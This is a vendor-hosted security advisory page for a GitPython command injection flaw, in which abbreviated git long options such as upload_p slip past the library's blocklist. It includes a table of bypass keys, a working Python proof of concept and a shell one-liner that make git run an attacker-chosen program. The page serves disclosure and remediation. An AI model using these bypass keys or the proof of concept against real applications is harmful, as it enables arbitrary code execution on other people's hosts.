GHSA-2F96-G7MH-G2HX

GHSA-2F96-G7MH-G2HX is a high-severity OS command injection vulnerability in GitPython (pip), affecting versions <= 3.1.50. It is fixed in 3.1.51.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist

Command injection via long-option prefix abbreviation bypassing check_unsafe_options (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)

Component: gitpython-developers/GitPython (PyPI: GitPython)
Affected: all versions carrying the 3.1.47 blocklist fix, through current main (verified at commit 20c5e275, 3.1.50-42)
CWE: CWE-184 (Incomplete List of Disallowed Inputs) → CWE-78 (OS Command Injection)
Severity: inherits the parent CVE-2026-42215 surface; estimated High, ~8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H), final scoring deferred to maintainer/CNA, mirroring the parent.
Reporter: hackkim

The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (--upload-pack, --config, -c, -u for clone; --upload-pack for fetch/pull; --receive-pack, --exec for push) so callers cannot reach command-executing options unless they pass allow_unsafe_options=True.

The fix canonicalizes an option name along one axis (underscore→hyphen via dashify) and checks it against an exact-match dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (--upload-p, --upload-pa, --upload-pac all resolve to --upload-pack). So a kwarg key like upload_p canonicalizes to upload-p, misses the blocklist dict, and is emitted to git as --upload-p=<value> → executed as --upload-pack=<value> → command injection, in the default allow_unsafe_options=False configuration.

The asymmetry (root cause)

# git/cmd.py (commit 20c5e275), lines 948-974
@classmethod
def _canonicalize_option_name(cls, option):
    option_name = option.lstrip("-").split("=", 1)[0]
    option_tokens = option_name.split(None, 1)
    if not option_tokens:
        return ""
    return dashify(option_tokens[0])      # only transform: "_" -> "-"

@classmethod
def check_unsafe_options(cls, options, unsafe_options):
    canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options}
    for option in options:
        unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option))
        if unsafe_option is not None:
            raise UnsafeOptionError(...)

The guard normalizes only _- and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option.

Affected code (commit 20c5e275)

Location Role
git/cmd.py:948-960 _canonicalize_option_name canonicalizer, no prefix expansion
git/cmd.py:963-974 check_unsafe_options exact-match dict lookup (the incomplete guard)
git/cmd.py:1511 transform_kwarg emits --<dashify(name)>=<value> to the CLI
git/repo/base.py:1411,1413 clone call sites
git/remote.py:1074,1128,1201 fetch / pull / push call sites

Bypass keys (verified)

kwarg key git resolves to path weaponizable
upload_p, upload_pac --upload-pack clone / fetch / pull Yes, direct RCE
receive_p --receive-pack push Yes, direct RCE
exe --exec push Yes, direct RCE
conf, confi --config clone bypasses option blocklist; RCE needs an additional config vector (see note)

Minimal PoC

Self-contained, no network egress (a local bare repo acts as the "remote"). Tested on current main (git 2.50.1):

import os, stat, tempfile
from git import Repo

work = tempfile.mkdtemp()
marker = os.path.join(work, "RCE_MARKER")

# fake "upload-pack" program that proves arbitrary command execution
prog = os.path.join(work, "evil.sh")
with open(prog, "w") as f:
    f.write(f"#!/bin/sh\ntouch {marker}\nexit 1\n")  # exit 1 so git aborts after our code ran
os.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC)

bare = os.path.join(work, "remote.git")
Repo.init(bare, bare=True)

# attacker-controlled kwarg KEY 'upload_p' -> --upload-p=<prog> -> git runs <prog>
try:
    Repo.clone_from(bare, os.path.join(work, "out"), upload_p=prog)
except Exception:
    pass  # git aborts with GitCommandError AFTER the payload executed

print("RCE marker created:", os.path.exists(marker))  # True -> command injection confirmed

Equivalent at the shell: git clone --upload-p=/tmp/evil.sh src out runs evil.sh.

Confirmed behavior:

  • upload_pack (exact) → blocked; upload_p (abbrev) → passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form.
  • allow_unsafe_options=True opt-out behaves as documented (out of scope).

Honest scope note

Like the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg keys into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable, the vulnerability is in the library's documented defense-in-depth control (allow_unsafe_options=False), which this variant defeats.

On the --config family: conf bypasses the option blocklist, but weaponizing --config protocol.ext.allow=always via an ext:: URL is independently blocked by GitPython's protocol allowlist (allow_unsafe_protocols=False). The directly weaponizable family is upload-pack / receive-pack / exec. Reported transparently, not claiming Critical.

Suggested remediation (any one)

  1. Prefix-aware matching: reject any option whose canonical name is an unambiguous prefix of a blocked option (≈ startswith on the blocked canonical name, after dashify).
  2. Disable abbreviation at the sink: pass --end-of-options or invoke git in a way that disables long-option abbreviation.
  3. Allowlist option names on security-sensitive subcommands instead of a blocklist.

Remediation should also cover the -c/--config family abbreviations, even though the ext:: route is currently gated by the protocol allowlist.

Impact

Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.

GHSA-2F96-G7MH-G2HX has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.1.51); upgrading removes the vulnerable code path.

Affected versions

GitPython (<= 3.1.50)

Security releases

GitPython → 3.1.51 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade GitPython to 3.1.51 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is GHSA-2F96-G7MH-G2HX? GHSA-2F96-G7MH-G2HX is a high-severity OS command injection vulnerability in GitPython (pip), affecting versions <= 3.1.50. It is fixed in 3.1.51. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.
  2. How severe is GHSA-2F96-G7MH-G2HX? GHSA-2F96-G7MH-G2HX has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of GitPython are affected by GHSA-2F96-G7MH-G2HX? GitPython (pip) versions <= 3.1.50 is affected.
  4. Is there a fix for GHSA-2F96-G7MH-G2HX? Yes. GHSA-2F96-G7MH-G2HX is fixed in 3.1.51. Upgrade to this version or later.
  5. Is GHSA-2F96-G7MH-G2HX exploitable, and should I be worried? Whether GHSA-2F96-G7MH-G2HX is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether GHSA-2F96-G7MH-G2HX is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix GHSA-2F96-G7MH-G2HX? Upgrade GitPython to 3.1.51 or later.

Other vulnerabilities in GitPython

Stop the waste.
Protect your environment with Kodem.